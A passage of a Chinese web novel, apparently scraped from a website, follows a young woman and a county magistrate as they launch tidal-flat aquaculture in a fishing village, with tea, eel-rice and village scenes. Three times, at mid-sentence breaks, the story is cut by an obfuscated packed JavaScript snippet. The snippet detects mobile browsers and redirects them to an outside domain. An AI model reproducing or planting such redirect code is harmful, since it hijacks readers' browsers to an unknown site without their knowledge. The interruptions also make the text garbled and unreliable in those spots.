裴昱臣瞧着她挥舞软绵绵的粉拳，忍不住轻笑一声，“就你这个花架子，能打得过谁？” 云楚沅眼珠子一转，娇声说道：“我能打得过你！” “呵呵，你如何能打得过我？”裴昱臣饶有兴趣地看着她。 “英雄难过美人关，我可以使一招美人计！” 云楚沅轻轻嘟起小嘴，眨巴着眼睛，对着手指，细声细语道：“难道裴大哥你不会让着我一点嘛~” “呃，阿姐，好恶心……”云楚河露出一言难尽的表情，差点把刚吃下去的饭吐出来。 云楚沅敲了敲他的脑袋：“吃都堵不住你的嘴？”说完又给他盛了满满一碗食物。 云楚清傻乎乎地笑着说：“阿姐可爱。” 裴昱臣薄唇轻抿，脸色涨红，他忍着羞赧道：“姑娘自重。” “姑娘？叫谁姑娘？裴大哥，你不是该唤我楚沅吗？”云楚沅表情委屈地说道，她的眼神像是在看一个负心汉。 “咳，楚沅，你饶了我吧。”裴昱臣呼吸变得急促，往日里清朗的声音变得沙哑。 云楚沅见好就收：“好啦，开个玩笑而已嘛。” 25. 出谋划策 残阳悬于西隅天际，火红的霞光宛若华丽的绮罗，晕染出一幅波澜壮阔、风光旖旎的绝美画卷。 不知不觉，天色暗了下来，屋檐上挂上照明的灯笼，火锅也吃得差不多了。 云楚沅打了个饱嗝，心满意足地摸了摸小肚子，“今日这顿海鲜火锅吃得真过瘾！” 裴昱臣瞧着她不拘小节的样子，笑着点头：“确实不错。” 云楚沅起身开始收拾桌子，两个孩子也帮忙整理碗筷，虽然吃得有点撑，但心情很愉悦。 “楚沅，这些事叫下人去做吧。”说罢，裴昱臣将院外候着的小厮叫了进来。 云楚沅放下碗筷，有人帮忙干活确实爽，也就是她没被人伺候习惯，要不然她也得被养成废物。 使唤下人干活她心安理得，毕竟他们都拿月钱，可被人伺候着吃饭和穿衣她永远适应不了。 上回瞧见青竹给裴昱臣布菜她还小声嘀咕了呢，有手有脚的，这点小事就不用麻烦别人了吧，想必被他给听了去，自那以后就再没见过裴昱臣用膳时有人站在旁边。 “我不跟他们抢活干，我只是从来没有被人服侍过，方才是下意识的举动。”云楚沅尴尬地摸了摸后脑勺，她又不是什么勤快的人，怎么可能主动揽活。 “你做膳食辛苦了，歇一歇吧。”裴昱臣叫青竹把茶具端过来，他打算亲自沏一壶好茶。 净手后，裴昱臣从檀木盒中取出一包珍藏的龙井茶，其产自江南一带，外形扁平光滑，色泽嫩绿，香气清新。 “哇，好香呀！”云楚沅拿起一包茶叶轻轻置于鼻端嗅了嗅，茶香萦绕，久久不散。 随后，裴昱臣伸出修长的手指，轻轻拈起一把茶匙，从精致的茶叶罐中舀出一小撮茶叶，倒入青瓷茶壶。 他提起的手边的玉壶，倾斜壶嘴，清澈的泉水如同潺潺溪流一般，淅淅沥沥地落入茶壶中，“哗啦啦”发出清脆悦耳的响声，似是奏响了一曲动听的乐章。 壶中的水渐渐没过茶叶，裴昱臣眼神专注而深邃，衣诀飘飘，姿态优雅。 云楚沅坐在一旁托腮欣赏，注视着男子的一举一动，她的嘴角噙着一抹淡淡的笑意。 啧啧啧，这寻常的沏茶动作怎么由他做出来，就如此赏心悦目呢。 待水注至八分满，裴昱臣合上壶盖，将其置于小炉子的炭火之上，噼啪作响的炭火，照亮了他俊朗的面容，泛起一层柔和的光晕。 裴昱臣轻轻扇动着扇子，控制着火候，煮出茶叶的香气。片刻后，他提起茶壶，在两只精巧的茶杯中依次斟茶。 之所以只倒两杯，盖因云楚河和云楚清喝不惯茶水，这上好的茶叶只能由他们两人品赏了。 男子的动作如行云流水，一气呵成，举手投足间尽显优雅与从容，让人不由自主地沉醉在这茶香四溢的氛围中。 琥珀色的茶汤如丝线般缓缓流淌，袅袅热气升起，茶香弥漫在整座院子里。 “云姑娘，你先请。” 裴昱臣伸出右手将茶杯轻轻推向云楚沅，用左手挡住右边的衣袖，避免被茶水打湿。 目光交汇间，裴昱臣轻笑着颔首示意，云楚沅微微晃神，双手捧起茶杯，凑近鼻尖，轻嗅那股独特的茶香，眉眼间露出陶醉的神色。 朱唇轻启，抿了一口香茗，云楚沅闭上双目，摇头晃脑，似是在品味茶水的醇香，又似是在回味男子的风情。 “味道真好……” 灯笼的烛光洒在她细腻的脸庞，映出绒毛，也照亮了她眼底的波光盈盈。 裴昱臣没听出她的言外之意，他端起另一杯茶，微微抿上一口，龙井茶的回甘悠长，仿佛山间悠远绵长的钟声，令人心旷神怡。 月下品茶，气氛正好，两人闲聊了起来。 “鹬蚌相争，坐收渔翁之利，你对付何艳艳的法子确实不错。可这不是长久之计，她早晚会看出端倪，有徐家在一日，你便要防范她一天。只有徐家倒台，才能永绝后患。” 提起徐家，裴昱臣的案上已经积压了不少百姓们递交的状纸，多是状告徐家铺子弄虚作假，卖掺了水的发霉粮食和混杂了灰的盐，更甚者还有强抢民女、侵占粮田的罪名。 他近日在搜集证据，待证据确凿便将他们缉拿归案。 云楚沅从他的话中听出了徐家将要大难临头的意思，喜形于色，“县令大人这是要为民除害了？” “正有此意。”裴昱臣泰然自若，仿佛他脱口而出的只是小事一桩。 “太好了，这群毒瘤早该铲除了！”云楚沅替临海县的百姓感到高兴，没了横行霸道的奸商，大家的日子肯定能好过不少。 裴昱臣却不像她那么乐观，“天下人熙熙攘攘，皆为利来利往。怕只怕没了徐家，以后还会出现其他商贾为祸百姓。” 县令大人的担忧不无道理，以云楚沅浅薄的认知来看，要想使临海县这个小地方经济腾飞，肯定要靠官府重视农业、手工艺和商业的发展，并且还要提出一些优惠政策来推动贸易发展。 云楚沅的心里隐隐冒出了一个大胆的念头，既然裴县令想要一个见利思义、兼济天下的良商，那为什么不能是她呢？ “大人，你觉得我如何？”云楚沅认真地看向端坐在对面的人。 裴昱臣饮茶的动作一顿，意味深长地与她对视一眼，“姑娘的意思是？” “我想毛遂自荐，达则兼济天下，我愿助大人一臂之力，拯救黎民百姓。”云楚沅站起身，神色严肃地拱手行礼，大言不惭地说出一番惊世骇俗的话语。 裴昱臣身形微颤，杯中的茶水溅到手背上也无暇顾及，他呆愣愣地看着云楚沅，像是被她震慑到了一般。 此时此刻，她眼中闪烁着的光芒，比天上的繁星更加耀眼夺目；她那纤细娇柔的身躯，仿佛能冲破世俗的枷锁；她那神采飞扬的眉眼，流露出满满自信和志在必得。 这名女子果然与众不同，她有着不输于男子的雄心壮志， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860579|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还有着不输于官场老手的八面玲珑，裴昱臣丝毫不怀疑她有这个能力，所以他愿意给她一个机会。 “云姑娘，愿闻其详。” “士农工商，商在最末，经商求利是百姓皆鄙夷之事。依民女拙见，因民之所利而利谓大利，所求之利是为百姓和地方所求，经营所得是用于地方建设和发展的。百姓的日子好起来才有银钱纳税，官府有了税收才能反哺百姓。”云楚沅滔滔不绝地发表自己的看法。 “你所言有理，可该如何求利呢？” 云楚沅娓娓道来：“不若从两个方面来，内和外。于内，可以发展我们临海之地的特色，于外，大人可以用减税等优惠政策来招商。” 想了想，云楚沅拿自己来举例，“我想在临海县开设海味坊，专门制作海鲜相关的酱料和干货销售至全国各地，而想要做大规模的生意，就需要培养一大批养殖户在滩涂养殖海鲜。在这些过程中，雇佣百姓能够增加他们的收入。” 裴昱臣问道：“何为滩涂养殖？” “就是在沿海的泥滩和沙滩人工养殖贝、鱼、虾蟹、海藻等海产品，用网栏和竹木桩固定好养殖区，投放苗种，用海水养殖成本很低。”云楚沅向他解释，养殖业可是她的老本行，她经验丰富。 “这，本朝还从未有过划分海域的先例，海水区域归属于国家，要想像田地一样利用起来，怎么说也该交税的，不过我们临海县可以先做试验，我会向上面递折子的。” “大人英明，这件事办成了，不光临海县创收后能交上朝廷的税，这可算你的政绩呀！说不定你就能升官了！” 他同意尝试大规模的滩涂养殖，让云楚沅十分高兴，这可是能赚钱的大项目呀，到时候临海县必定会一飞冲天。 裴昱臣微微一笑：“也算你的大功一件。” 比起功劳，云楚沅更在乎银子，她已经开始幻想以后成为养殖大户和海味商，会是何等风光的模样了。 裴昱臣接着发问：“那招商该如何做呢？” 他若有所思地抚摸着下巴，云楚沅的口中总会冒出来一些他闻所未闻的新鲜词，裴昱臣还从未听说过“招商”这个词呢，听字面意思，像是指招揽商人。 云楚沅：“我们这片贫瘠的土地实则是等待发掘的肥沃之地，吸引外来的商人是可行之道，比如茶商、盐商。要想富先修路，官府没有钱修路，大人你可以和外来的商人合作，他们出钱修路，你可以为他们减税或者给予他们几年土地使用权。这连接临内外两地的桥梁，必然是一条康庄大道。” 裴昱臣越听双眼越亮，这个招商的法子相当于空手套白狼，他不用出一文钱，只用给予商人一些承诺，便可以让他们为临海县修路，交通方便后，临海县也能发展起来了。 “不过，外地商人会来我们这么偏的地方吗？” 云楚沅笑着说：“待我的海鲜特产卖到全国各地，肯定会吸引许多人，到时候，商人们会趋之若鹜。” 26. 鳗鱼饭 “听说了吗，徐家有个通房小产了，听说是被一个不得宠的妾室害的！” “哦？什么时候的事？” “昨儿个酉时日落，我就住在徐府附近，他们家闹腾的声音可大了，请了好几位大夫去看诊，孩子还是没保住。” “这高门大户腌臜事就是多，女子争风吃醋起来手段狠毒着呢。” “可不是嘛，这还是徐少爷的头一个孩子，还不到两个月就没了，徐老爷和徐夫人震怒，要把那个妾室发卖掉。” “最毒妇人心呐，这样的妾室确实留不得。不过徐少爷年纪不小了吧，怎么还没有孩子。” “徐少爷今年二十又二，未曾娶妻，人家可看不上临海县的女子，听说徐老爷想让他这个独子娶江南富商宋家的女儿。” “痴人说梦吧，江南富庶人家的女子能嫁来我们这小县城？” “谁说不是呢。” 云楚沅和裴昱臣坐在马车里，听着外面街道上传来的议论声，相互对视一眼。 “他们说的该不会就是我那表姐吧。”云楚沅白皙精致的面容露出惊愕的表情，如同被投入一颗小石子的湖面，泛起涟漪，那双睁大的杏眸中满是藏不住的讶异。 相比之下，对面坐着的裴昱臣更加淡定，他面色沉静，平静无波的眼眸中没有丝毫惊诧，“嗯，听他们所言，你的计谋很有可能已经奏效了。” 云楚沅的长睫微微颤动，两道柳眉轻蹙，眼神闪过一丝慌乱，似有千斤重担压在心头。 她原本红润的嘴唇失去了血色，变得苍白，嘴角带着一抹若有若无的苦涩，她下意识地用力咬住下唇，声音发颤，“这……怎会闹出人命来……” 事情的发展远远超出了云楚沅的预期，她本来是想转移矛盾，让何艳艳和孙家人斗起来，从而无暇顾及她，可没想到她们宅斗起来下手这么狠啊，这真是小说照进现实了。 裴昱臣注意到对面的女子坐立难安、不知所措，大抵能猜到她的心思，“不必自责，出了这档子事归根结底还是因为何艳艳的不择手段，就算没有你添油加醋，等到那个通房丫鬟显怀，她为了自己的利益也会动手的。” “你说的有道理，就是我的心里不太好受，早知如此，我就换个方式对付何艳艳了。”云楚沅丧气地低下头，不易察觉的颤抖从她的肩膀处蔓延开，仿佛整个身体在无声诉说着难言的纠结。 “莫要伤怀，世间诸事，皆有定数。”裴昱臣从袖子里取出一条帕子，缓缓抬手，轻轻拭去佳人眼角那滴欲落未落的泪珠。 云楚沅抬起头怔愣地看着他，心头微微一颤，他的指尖触碰到了她的肌肤，擦拭的动作极为轻柔，像是生怕稍一用力便弄疼了她似的，她低落的情绪被他温柔的动作慢慢抚平。 裴昱臣的嘴角泛起一抹淡淡的笑意，温和的眼神中蕴含着安慰，“你素来聪慧坚毅，怎会不明白这个道理呢？” 啊……她被小书生撩到了。 能让把男女大防挂在嘴边的男子主动接触，她云楚沅何德何能啊！ 你还是那个面对女子眼神闪躲、举止笨拙，还会脸红的小古板吗！ 这么一通胡思乱想下来，云楚沅的情绪渐渐平稳了下来，后知后觉感到有些羞耻，她竟然当着男人的面哭了，真是有损形象。 “哼，我只是迷了眼！你干嘛趁机占我便宜。”云楚沅一把将他手中的素帕拽进了手里，恼羞成怒地指责裴昱臣。 无奈的笑意从眼底泛起，裴昱臣双手交叠，身体前倾，深深一揖，“姑娘说什么就是什么，小生任打任骂绝不还手。” 云楚沅破涕为笑：“油嘴滑舌！” —— 时隔多日，云楚沅再次回到了小渔村，村民们一看到她纷纷热络地迎了上来，再瞧见她身后跟着的男子，又停下了步伐。 “沅丫头，你这是从哪找来的白面书生，是准备叫他入赘到你们家做上门女婿吗？”有个八卦的婶子揶揄地打量着裴昱臣。 接着便有其他人出声附和：“嘿，还别说，这两人站在一起还挺般配。” “云丫头，摆酒席的时候可别忘了请我们喝杯喜酒呀，哈哈哈。”不少妇人打趣着他们两人。 裴昱臣的脸颊爬上一丝红晕，“诸位误会了，我和云姑娘不是那样的关系。”沙哑的声音和飘忽不定的眼神，将他的尴尬暴露无遗。 人群中，有汉子认出了裴昱臣，他不敢置信地揉了揉双眼，惊声道：“这……这不是裴县令吗？草民见过县令大人！” “噗通”一声，是双膝跪地的声音，周围瞬间鸦雀无声，落针可闻。 村民们像是被雷劈中了一般，呆呆地愣在原地，眼睛瞪的老大，尤其是先前调侃裴昱臣的几位大娘，嘴巴张得足以塞进一个鸡蛋。 “裴大人，民妇有眼疾！还望大人饶过我呀！”一位机灵的大娘率先反应过来，跪倒在地上，两只手高举过头顶，随着磕头的动作拍向地面。 慢半拍的其他村民也跟着下跪，请求县令大人的宽恕。 “诸位快快请起，不是什么大事，我不会怪罪你们的。”裴昱臣赶紧躬身将他们一一扶起。 此处的动静吸引了小渔村大多数人的注意，早就有人偷溜去村长家通风报信了。 “县令大人到访，草民有失远迎……”气喘吁吁的声音从远方传来，村长从人堆里挤了进来，“大人，草民是小渔村的村长，余满生。不知大人前来所为何事？不妨去草民家中详谈。” 裴昱臣一边跟在村长的身后走，一边说出了自己的来意，“余村长，我打算选你们小渔村做实验点，进行滩涂养殖，到时候会在海边圈出一块范围，在海水里养殖鱼虾蟹贝。若此事能办成，对渔民们也有极大的好处，以后你们就不必冒着风险出海打渔了，人在家中便能收鱼卖钱。” 虽然村民们不懂滩涂养殖是什么意思，可裴昱臣话中说的坐在家中赚钱，可谓是击中人心。 “此话当真？裴县令你莫不是在诓我吧，天底下还有这样的好事？”余村长十分激动。 “你们渔民难道就没有自己试过养鱼吗？” 余村长说道：“怎么没有，养过啊，鱼在水缸里根本活不长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860580|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们村里有养鱼经验的也就云丫头了，她那鱼塘里的鱼虾活蹦乱跳的，长得还格外大。” 云楚沅心想，海鱼养在淡水里怎么可能活得长，而且养鱼还和水质息息相关，需要严格控制温度、盐度，但云楚沅不一样，金手指给她带来了极大的便利，她养殖海鲜可以说事半功倍。 裴昱臣高挺的鼻梁下，薄唇带着一丝浅笑，“余村长，实不相瞒，养殖这个主意就是楚沅提出来的。” 余村长惊讶道：“云丫头还真有本事，不光厨艺好，连养鱼的门道都懂啊。” 云楚沅随口找了个理由：“我是从一本古书上学来的。” 旁人都接受了这个说法，并未刨根问底。 一行人来到村长家门口，其他村民被拦在了门外，只有裴昱臣和云楚沅进去了。 余村长把裴昱臣留在家里，肯定要请吃饭的，正好云楚沅也在，便让她也做一道拿手好菜。 村长家的水缸里存放着不少新鲜的鱼，云楚沅捞出其中一条细长的鱼，那是一条稀有的鳗鱼，肉质肥美且营养价值高，她打算用这珍贵的食材做鳗鱼饭。 处理好的鳗鱼先进行预先烤制，再用酱油、味淋和糖调出鳗鱼酱后，把酱料刷在鳗鱼上继续烤，直至其表面金黄、肉质变软。 煮好的米饭盛入碗中压实，烤好的鳗鱼切块铺在上面，再淋上一些酱料，最后点缀上白芝麻和葱花。 瓷碗中，粒粒分明的米饭如雪一般洁白莹润，金黄色的烤鳗鱼蜷曲其上，琥珀色的浓稠酱汁泛着诱人的油光。 端上桌后，甜咸的酱香裹挟着鳗鱼的油脂香扑面而来，勾得众人十指大动。 “云姑娘，辛苦你了，坐下一起吃吧。” 桌边只坐了村长和裴昱臣两人，村长夫人和他的儿子儿媳都待在厨房里，生怕打扰他们谈正事。 本来云楚沅也想去厨房吃的，但裴县令都发话了，她也不扭捏，直接坐下来和他们一起吃了。 鳗鱼的肉质紧实却不失弹性，酱汁黏连在一起，用筷子一蘸甚至能拉出细丝，而米饭吸收了浓郁的酱汁，吃起来既有嚼劲，又带着鲜甜。 裴昱臣拿起筷子轻轻一戳，鳗鱼便被扯开一道裂口，酱汁顺着肉的纹理滑落，渗进米饭中，在雪白的饭面上晕开一圈深色的涟漪。 云楚沅夹起一块沾满酱料的鳗鱼肉，裹着米饭送入口中，这鳗鱼表皮微脆，内里软糯，油脂香在唇齿间慢慢化开，吸满酱料的米饭仍保留着弹牙感，咀嚼间，米香与咸甜在她的舌尖缠绵。 “入口即化，鲜嫩多汁，这道鳗鱼饭实乃上品。”裴昱臣享受着这场味蕾的盛宴，毫不夸张地说，吃完这个，其他饭都显得索然无味。 余村长端起碗闻了闻，嗯，香！吃了一口之后，狂点头，“天哪，这鳗鱼烤的外焦里嫩，这酱汁甜中带咸，一口鳗鱼一口饭，两者简直是完美的搭配！我感觉我还能再吃三碗！” “哈哈，哪有那么夸张。”云楚沅笑着说。 余村长三两口吃完了鳗鱼，意犹未尽道：“这剩下的酱汁不能浪费，拌饭吃正好！” 27. 滩涂养殖 晚膳过后，余村长带着裴昱臣和云楚沅去小渔村临海的地方巡查。 他们穿着防滑耐磨的皮靴子，一脚深一脚浅地踩在滩涂淤泥中，松软的泥沙很容易让人陷进去，每走一步都要小心谨慎，留下的脚印很快便被涌上来的海水慢慢抚平。 规划好的养殖区域靠近海边，这片地方的海水涨落有序，水质清澈、水流适中、饵料丰富，是绝佳的养殖场地。 裴昱臣和村长商量划分海域时，云楚沅掏出了全部身家承包了一大片海域，在她的怂恿下，裴昱臣也答应拿出所有积蓄投资养殖。 “我把将来娶妻用的聘礼都搭进去了，你可不要辜负我的期望。” 云楚沅拍着胸脯，信誓旦旦地做出保证：“大人，我办事，你放心！” 余村长不像他们两人似的破釜沉舟，他犹豫片刻，拿出十两银子决定支持一下县令大人的政策，后续收到消息的村民们也持观望态度。 倒是和云楚沅走得近的人，比如于汤和钱婶，甚至还有钟兰花，都对她盲目相信，他们认为云楚沅的鱼塘都能搞得有声有色的，扩大规模养殖肯定也不在话下。 滩涂养殖，讲究天时地利，滩涂富含多种矿物质，天然能为贝类和蟹类提供栖息的温床，为其生长提供充足的养分，例如常见的蛏子、蛤蜊等贝类，对环境适应能力强，生长周期还短，回报率极高。 除此之外，云楚沅还准备扦竿养蛎，牡蛎是制作蚝油的重要原材料，她的食肆离不开这味调料，后续她还打算将蚝油作为海味坊的重要产品，推广至各地。 翌日，云楚沅和裴昱臣回到临海县后，分别去安排后续要处理的事，他们接下来几日要专心在小渔村搞养殖的事，实在是分身乏术，只能将工作托付给信任的人。 裴昱臣将手头上的案子交接给陈县丞，由他暂管衙门里的事，而云楚沅可以将云记食肆的账目交给钱春香，可她一走，食肆就没人掌勺了，它必须找个新厨子才行。 和她相熟的朱师傅显然就是那个最佳人选。 “什么！你要我去云记食肆掌勺？”被云楚沅找上门的朱师傅一脸震惊。 云楚沅诚恳地说道：“朱师傅，我可以给你两倍的月钱。” 朱师傅面带犹豫：“我是怕砸了你的招牌。” 他的手艺又不是顶顶好的那种，要不然他就去湘香馆当厨子了，而不是在衙门做大锅菜。 “朱师傅，你现在做的菜味道比以前好上不少，衙役们都夸你呢，你每月就领几两银子，难道不想多赚一些吗？你去云记赚的绝对不比湘香馆的庖厨的少，我们云记的风评也已经远超湘香馆了。” 见朱师傅表情有些心动，云楚沅晓之以理，动之以情，“朱师傅，你要是觉得县衙这边不好交差，我去和县令大人说，膳房那么多伙夫还做不了伙食吗？而且我和裴县令是有要事要做，这可关系到临海县百姓的福祉，你帮了我就等于变相帮了裴县令和整个临海县。” 这高帽子一扣下去，朱师傅已经飘飘然了，他还有什么理由拒绝呢？ 云楚沅和裴昱臣报备过以后，就带着朱师傅来到了云记食肆，她准备将菜单上的所有菜品为他展示一遍。 在此之前，他们需要先签下雇佣契约，上面的内容是云楚沅在雇佣期间无偿提供配方，但对方不能泄露出去，还要保证能在云记食肆干满十年，这份长期合同对双方都能有个保障。 朱师傅悟性不错，再加上县衙膳房用的调料和食肆里是同款，云楚沅教起他来也不费事，朱师傅很快就掌握了其中的小技巧。 —— 两日后，云楚沅和裴昱臣马不停蹄地赶回小渔村。 正逢搭建养殖设施的关键时期，小渔村的大多数村民都来帮忙了，其中十几人响应县令的号召，也包下了几亩海域，加入到了这场轰轰烈烈的养殖大业中。 村民们从山上砍下一根根粗壮的竹竿，搬运到海边，齐心协力将竹竿插入滩涂的淤泥中。 每根竹竿相隔数米，排列成阵，稳稳矗立的竹竿如同忠诚的士兵一般，守护着这片即将被开发的土地。 竹竿与竹竿之间用绳索捆绑起来，连成整齐划一的网格状框架。 在捆绑绳索的过程中，云楚沅仔细叮嘱：“各位叔伯，每一个结都必须打牢固，这些绳索要承受海水日夜的冲刷，保证咱们养殖区的稳固，容不得半点马虎！” “云丫头，你就放心吧，我会挨个检查的。”余村长尽心尽力地配合她。 框架成型后，云楚沅又指挥着众人开始布置养殖笼，这次裴昱臣也被拉过来帮忙了。 “裴大哥，这养殖区也有你的一份，你可别偷懒。”云楚沅亦步亦趋地跟在县令大人的身后，亲自监督他干活。 “遵命，监工大人。”裴昱臣的嘴角不自觉地上扬。 令人啼笑皆非的对话引来村民们的调侃。 “哟，云丫头也是出息了，能压县令大人一头。” “哈哈哈，不愧是咱们小渔村的姑娘，就是有魄力！” “裴大人将来成亲后，肯定是个惧内的。” 裴昱臣充耳不闻，一心一意完成云楚沅交代的任务，他小心翼翼地将养殖笼逐个挂在竹竿框架上，调整好位置和深度，使其既能够保证海水流通，又能防止海鲜逃脱。 较浅的位置阳光充足，适合一些藻类和贝类的生长；较深的海域，用来养殖鱼虾、海参等。 下一步便是进行播苗，云楚沅带人回到云家，将装在木桶里早已准备好的各种海鲜苗提到海边，这些海鲜苗是她利用金手指快速催生出来的，全都是好苗种。 她将幼贝均匀撒在滩涂上，它们迅速钻入泥中，在这里开启了安居乐业的生活。牡蛎苗附着的贝壳用绳索串联成串，吊养于筏架上。 云楚沅为养殖户们讲解日常管理的注意事项：“以后，你们要时刻注意潮汐的变化。涨潮时要确保水流畅通，让贝类能够充分摄食浮游；退潮后检查有无贝类从泥中露出来，要及时将它们掩埋，免其遭烈日暴晒或被天敌捕食。” 而后挖建的蟹塘模拟了海洋里的自然环境，浅水区供螃蟹栖息和觅食，深水区让它们躲避危险。 往蟹塘中投放蟹苗后，投喂小鱼小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860581|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾等天然饵料，村民们看着小蟹们争先恐后进食，黝黑的脸庞上洋溢着笑容，他们仿佛预见了将来的大丰收。 划分的养鱼区域用网围了起来，投放的鱼苗有很多种，鲈鱼苗、黄花鱼苗、鳗鱼苗、鳕鱼苗、带鱼苗、石斑鱼苗等等。 看着那些小小的鱼苗在水中欢快地游动，云楚沅的脸上露出了大大的笑容，她已经在畅想它们长大后的肥美。 海带和紫菜等藻类，固定在木架和养殖网上，它们能吸附海水养分，在有足够的光照和适宜的温度下生长，不仅为养殖户增加一笔收入，还能净化周围的海域环境。 “咦，云丫头，这些虾怎么不太一样？”余村长看见云楚沅往虾塘倒的虾格外不同，遂出声询问。 云楚沅：“这些虾经过了特殊处理，我用烧红的铁镊子剪去母虾的一只眼，这样能让它们产量翻倍。” 母虾眼柄处会分泌抑制激素，去除单眼能解除抑制作用，而留下一只眼可降低感染风险并且维持虾的活性。 村民们不懂这其中的原因，云楚沅只好又用了同样的借口，从书上看来的，有人问是什么书，她便回答是他爹的书，已经烧给他了。 如此，便不会有人继续追问了，难不成他们还能去找死人要答案吗？ 大家一致认为是云老爹生前特意寻来的书籍，毕竟他那时就准备承包村里的鱼塘，必定是掌握了丰富的养殖知识。 —— 清晨，当第一缕阳光洒在海边，潮水渐渐退去，露出一片泥泞而又肥沃的滩涂。 养殖户们手持工具，踏着泥沙而来，开启一天忙碌而充实的劳作，他们的身影在晨光中被拉长。 余满生和儿子余小渔正蹲在自家养殖的滩涂田埂上，手里拿着铲子和小网兜，检查着贝类。 余小渔捞起几个肥美的蛤蜊，乐呵呵道：“哎，爹，你看今儿这收成，是不是比前些天又好了？” 余满生笑眯了眼，手里的活儿不停，“嗯，是不错，瞧这些蛤蜊，一个个长得又大又圆，跟小元宝似的。” 余小渔得意道：“还好你听了我的话，几个月前跟着云家妹子搞养殖后又多承包了几亩海域，如今咱们家可是被人人艳羡。” 余满生点头表示赞同：“是啊，村子里那些见到第一批海鲜大卖后再来搞养殖的人，肠子都悔青了。” 余小渔说道：“不过这每日早出晚归的，也是真够辛苦的。” 余满生拍拍余小渔的肩膀，安慰道：“辛苦是辛苦点，可比咱们以前出海捕捞强多了，危险不说，捞到啥都得凭运气。” 余小渔感慨地望向远方：“是啊，这样的好日子，以前哪敢想啊……” 父子两人相视一笑，继续忙碌起来，远处海鸟飞过，留下一串串欢快的叫声，与这温馨的对话交织在一起，构成了滩涂上动人的风景。 夕阳西下，余晖染红海面，养殖户们纷纷扛着工具归家，脸上不见疲惫，而是带着满足与憧憬。 身后那片滩涂承载着无数希望。 滩涂养殖，维持着沿海百姓生计，将持续绽放蓬勃的生机。 28. 全鱼宴 转眼入夏，小渔村的养殖业如火如荼地进行着，村民们自打尝到收获的甜头后，便很少再出海捕捞。 海上风浪大，以前渔民们要冒着巨大的生命危险出海捕鱼，养家糊口，有时遇上巨浪、浓雾、暴雨、台风等恶劣天气，会导致船只受损以及人员伤亡。 这是一门高难度高风险的营生，就连有着几十年捕鱼经验的老手都不敢保证每一次都能平安归来。 在这种情况下，云楚沅的提议给沿海地区的百姓带来了莫大的惊喜，一时间，她在小渔村的地位水涨船高，人人见了她都要夸上两句。 “哎哟，咱们小渔村的大恩人出来啦？云妹子，你提着的这两个木桶挺沉吧，来，嫂子帮你拿！” 云楚沅刚出家门就遇上了笑容满面的林秀秀，她不由分说地一把抢过云楚沅手里的木桶，亲亲热热的和她并肩一起走。 林秀秀如今对云楚沅的态度可谓是一百八十度大转变。 以前云家三姐弟孤苦伶仃，一副破落户的样子，林秀秀哪里瞧得上，自家婆婆和小姑子云家人交好，她没少在背后笑话她们。 林秀秀此人最大的优点就是厚脸皮，她看见云楚沅一日比一日能耐，甚至带领全村人搞养殖、赚大钱，上赶着巴结都来不及，怎么可能再去说风凉话呢。 云楚沅瞧着林秀秀这副谄媚样，她秀眉一挑，嘴角微勾，小手张开五指，故作惊讶地捂住嘴，表情夸张道：“钱家嫂子，你这是什么话，我哪里担得起大恩人这个名头，你也太抬举我了。” “我说的都是实话，你搞出来的养殖区可是能养活咱们全村人呢，这是多大的恩德呀，我对你是佩服的不行，大妹子你真乃女子楷模。”林秀秀眼也不眨地吹捧云楚沅，仿佛前无古人后无来者。 云楚沅不由觉得好笑，有钱能使鬼推磨，她这个带人赚钱的财神岂不是要被供起来了。 “嫂子，你之前可不是这样的。”云楚沅揶揄地看向林秀秀。 林秀秀讨好地笑着：“楚沅啊，嫂子过去脑子不太好使，嘴也笨，要是有什么话得罪你了，你可不要往心里去啊。” 她之所以如此低声下气，是因为钱家现在的收入全指望云楚沅。 钱婶和钱春香在云记食肆干活计，钱叔有痛风，一到下雨阴天双腿便疼痛难忍，他不再出海，带着儿子一起养鱼，反倒赚的比之前多。 全家只有林秀秀无所事事，整日带孩子做饭，她如今也没有底气在家里指桑骂槐，倒是安分了不少。 “嫂子，我不会和你计较的，毕竟你大字都不识几个，说话不过脑子也是难免的。”云楚沅眼睛眯成弯月牙，脸上的笑容甜美纯真，两个酒窝若隐若现，一副傻白甜的样子。 可她说出口的话却句句扎心，“对了，嫂子，你有空得多向春香姐请教请教，她现在不仅会打算盘，还能写好几个大字呢。” 林秀秀的脸立马垮了下来，她面带假笑，咬牙切齿道：“一定，一定。” 嘴上应承着，可林秀秀的心里很不爽，任打任骂的小姑子摇身一变，成了能赚钱养家的女子，已经不是她能说嘴的了。 